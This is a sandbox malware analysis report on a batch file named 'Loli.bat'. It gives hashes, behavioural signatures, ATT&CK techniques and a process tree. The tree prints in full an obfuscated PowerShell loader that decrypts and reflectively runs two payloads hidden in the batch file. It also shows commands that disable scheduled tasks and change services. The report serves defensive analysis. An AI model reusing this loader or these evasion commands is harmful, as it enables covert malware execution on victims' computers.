cd7c4a5b2c74494618533506cf4222b1f1f996e8f9fe8a26ccb6d4bbbea30307

Analysis

max time kernel
34s
max time network
38s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11-06-2024 05:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loli.bat
Size

3.7MB
MD5

d13879a71cf3f86abbf94bb742582d55
SHA1

c2229a543040cb9103f0d801d4c4098898a23568
SHA256

cd7c4a5b2c74494618533506cf4222b1f1f996e8f9fe8a26ccb6d4bbbea30307
SHA512

71d4e9170d076323e751555e6aba071a29f36dc0d0623d05e25a68ca7d23ff2b4712508326078ff0e4f2df22937e04dc564446a0607ff138d8ae723cb95c9dc8
SSDEEP

49152:TtXlKusExyx1w7TmcgZloR4LN/qr3xz/puUnGJTNbCGLx+:t

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1464	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2036	sc.exe
4908	sc.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3520	ipconfig.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1464	powershell.exe
1464	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1692	powercfg.exe
Token: SeCreatePagefilePrivilege	1692	powercfg.exe
Token: SeShutdownPrivilege	1836	powercfg.exe
Token: SeCreatePagefilePrivilege	1836	powercfg.exe
Token: SeShutdownPrivilege	4548	powercfg.exe
Token: SeCreatePagefilePrivilege	4548	powercfg.exe
Token: SeDebugPrivilege	1464	powershell.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1864 wrote to memory of 1692	1864	cmd.exe	83
PID 1864 wrote to memory of 1692	1864	cmd.exe	83
PID 1864 wrote to memory of 1836	1864	cmd.exe	84
PID 1864 wrote to memory of 1836	1864	cmd.exe	84
PID 1864 wrote to memory of 4548	1864	cmd.exe	85
PID 1864 wrote to memory of 4548	1864	cmd.exe	85
PID 1864 wrote to memory of 116	1864	cmd.exe	86
PID 1864 wrote to memory of 116	1864	cmd.exe	86
PID 116 wrote to memory of 3388	116	net.exe	87
PID 116 wrote to memory of 3388	116	net.exe	87
PID 1864 wrote to memory of 3060	1864	cmd.exe	88
PID 1864 wrote to memory of 3060	1864	cmd.exe	88
PID 3060 wrote to memory of 3644	3060	net.exe	89
PID 3060 wrote to memory of 3644	3060	net.exe	89
PID 1864 wrote to memory of 3092	1864	cmd.exe	90
PID 1864 wrote to memory of 3092	1864	cmd.exe	90
PID 3092 wrote to memory of 3472	3092	net.exe	91
PID 3092 wrote to memory of 3472	3092	net.exe	91
PID 1864 wrote to memory of 4736	1864	cmd.exe	92
PID 1864 wrote to memory of 4736	1864	cmd.exe	92
PID 1864 wrote to memory of 4000	1864	cmd.exe	93
PID 1864 wrote to memory of 4000	1864	cmd.exe	93
PID 1864 wrote to memory of 2648	1864	cmd.exe	94
PID 1864 wrote to memory of 2648	1864	cmd.exe	94
PID 1864 wrote to memory of 3520	1864	cmd.exe	95
PID 1864 wrote to memory of 3520	1864	cmd.exe	95
PID 1864 wrote to memory of 2036	1864	cmd.exe	97
PID 1864 wrote to memory of 2036	1864	cmd.exe	97
PID 1864 wrote to memory of 4908	1864	cmd.exe	98
PID 1864 wrote to memory of 4908	1864	cmd.exe	98
PID 1864 wrote to memory of 860	1864	cmd.exe	99
PID 1864 wrote to memory of 860	1864	cmd.exe	99
PID 860 wrote to memory of 4388	860	net.exe	101
PID 860 wrote to memory of 4388	860	net.exe	101
PID 1864 wrote to memory of 1464	1864	cmd.exe	103
PID 1864 wrote to memory of 1464	1864	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Windows\system32\powercfg.exe
  powercfg /SETACVALUEINDEX SCHEME_CURRENT 545332lkFflRyLgGnYSOYDfxsZEjdYcrqQbeDOdTKhpbUmTVqnOZThcXrsgYpbgHcTBHJbczVZeQndCgfITQkdxiOeNkIfEIbHYbKllokpeUdmJnQZSHiqxYvsTFoRQPuvPGfBvTwFFUZDfCuztImXAKkZFrsGasyozHwdipEYkDLCYSnqkOxhDxVfvfVdBQFmvLdyfrqeenMXYIaM%637-891a-dec35c318583 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1692
- C:\Windows\system32\powercfg.exe
  powercfg /SETACVALUEINDEX SCHEME_CURRENT 545332SoCiBYevDXNytQknzhzfApYnnVVCmkwYTGLbOjuEYJaXuNJmaFHQwNnCqoUGcCjtAOFMfiypMUhRpbTAlJBGDFCftiLAoOCvAHwFhWgRgrdBGwmoutusaCPVmztXwYaYsLqIFosoCJzlBazXVxfVtjvYRAsIDjuirfiUfEIgagQqcEulZwbZSfFjqrReVKKsor%CGUOIqpvYFJjrCizQCOWNivaFoEsMkzoMbFqaKFBUvEHxylYodTVCjsulTitMXJNguwqXSzfWmbrDNDgcFdIqDMDJkfgBlPXMQAccVbwDNZphaRxqcrgUaxDISHMNsDKxeFMnB%3-ab1c-d1337819c4bb 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1836
- C:\Windows\system32\powercfg.exe
  powercfg /SETACVALUEINDEX SCHEME_CURRENT e73a04kInqdtwVmxlDtyMwTufViimOdRYEciYZBecoKTcuCsBBprvMirkcjBDbwymmvRSezlcowyLZrLtQHLzMwmwLXVQZBaSlGQZKAxcdogqKFkKyiNuKZAPivggDvcNvFAtBLIpjJvxpVLgNlrQOFimfaQptrzIltVffQiNAxlaEdAnJZsrdmYPwnoAUsWSkNl%eEgcFzJlQYlwNhpJcfdqiVkwGClioMtqRKPYRJAyHGkoYmgtlVQYobxjtKwdoAXeEUFcrqRsFFICKWxuvRXsVvcPnGFgnwjhIgJeHdbUdxtItVywnbHwDEijRPPLLLeivATEmtNrPcpxbtwshiTmONEdXAmRoqjssknSbTjTnqGApKhxsxD%\Users\Admin\AppData\Local\Temp\Loli.bat5-bccc-f7e51960c258 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4548
- C:\Windows\system32\net.exe
  net start StateRepository
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start StateRepository
    3⤵
    PID:3388
- C:\Windows\system32\net.exe
  net start SystemEventsBroker
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start SystemEventsBroker
    3⤵
    PID:3644
- C:\Windows\system32\net.exe
  net start BrokerInfrastructure
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start BrokerInfrastructure
    3⤵
    PID:3472
- C:\Windows\system32\schtasks.exe
  SCHTASKS /Change /TN "\NvTmMon_{B2FE1952-0186-46FQghIPJrGRamxjnXhzAAlWRlDeVAvQiweLhcHvdBQKfWQJnjLiwiCSOIZUDEUiWPJDhMblpMvYKAQVvURLPmuZTmXzcMRzHHOqmmCAiASKMEinSezJMitJuJKVOCjDUVqcMAIirqDouKmpdJHYnhMznfVCCGLFqpPQnfBrvqrwFeoKwuRfVkpMjRPHEfGLEXYfVwbXipDWQqUiQkfhPGKg%-BAEC-A80AA35AC5B8}" /Disable
  2⤵
  PID:4736
- C:\Windows\system32\schtasks.exe
  SCHTASKS /Change /TN "\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}" /Disable
  2⤵
  PID:4000
- C:\Windows\system32\schtasks.exe
  SCHTASKS /Change /TN "\NvTmRepOnLogon_{B2FE1952-0YeXroDOTWkjKQoZvxutjLXAspmGsJbYJyraMpYWWSlOKPWAJoyZXkQxaDEccXwkUmzmzonfzywqAjQCsLWdkbazHTZiKVUZwbTyqKbubtAzOAXRNbJqasaSlaEFpevDDxUzpsmHKBcRBBK%86-46C3-BAEC-A80AA35AC5B8}" /Disable
  2⤵
  PID:2648
- C:\Windows\system32\ipconfig.exe
  ipconfig /flushDNS
  2⤵
  - Gathers network information
  PID:3520
- C:\Windows\system32\sc.exe
  sc config "Netlogon" start= demand
  2⤵
  - Launches sc.exe
  PID:2036
- C:\Windows\system32\sc.exe
  sc config "TapiSrv" start= demand
  2⤵
  - Launches sc.exe
  PID:4908
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:4388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -windowstyle hidden -noprofile -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ILzC72sI+CV50DxRsmoBoJY9fV+QlkwmunrXsniqzqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4lFDTXtXVKEiJhSo//n7+w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GRjWy=New-Object System.IO.MemoryStream(,$param_var); $TAkbl=New-Object System.IO.MemoryStream; $VWaet=New-Object System.IO.Compression.GZipStream($GRjWy, [IO.Compression.CompressionMode]::Decompress); $VWaet.CopyTo($TAkbl); $VWaet.Dispose(); $GRjWy.Dispose(); $TAkbl.Dispose(); $TAkbl.ToArray();}function execute_function($param_var,$param2_var){ $twtOJ=[System.Reflection.Assembly]::('daoL'[-1..-16] -join '')([byte[]]$param_var); $foYBX=$twtOJ.EntryPoint; $foYBX.Invoke($null, $param2_var);}$dTXhk = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $dTXhk;$JycGo=[System.IO.File]::('txeTllAdaeR'[-1..-16] -join '')($dTXhk).Split([Environment]::NewLine);foreach ($IUEkA in $JycGo) { if ($IUEkA.StartsWith(':: ')) { $Ngyic=$IUEkA.Substring(3); break; }}$payloads_var=[string[]]$Ngyic.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0rfo5qgp.lhd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1464-9-0x000002957DBC0000-0x000002957DBE2000-memory.dmp

Filesize
136KB

Download
memory/1464-10-0x000002957B780000-0x000002957B788000-memory.dmp

Filesize
32KB

Download
memory/1464-11-0x000002957E090000-0x000002957E312000-memory.dmp

Filesize
2.5MB

Download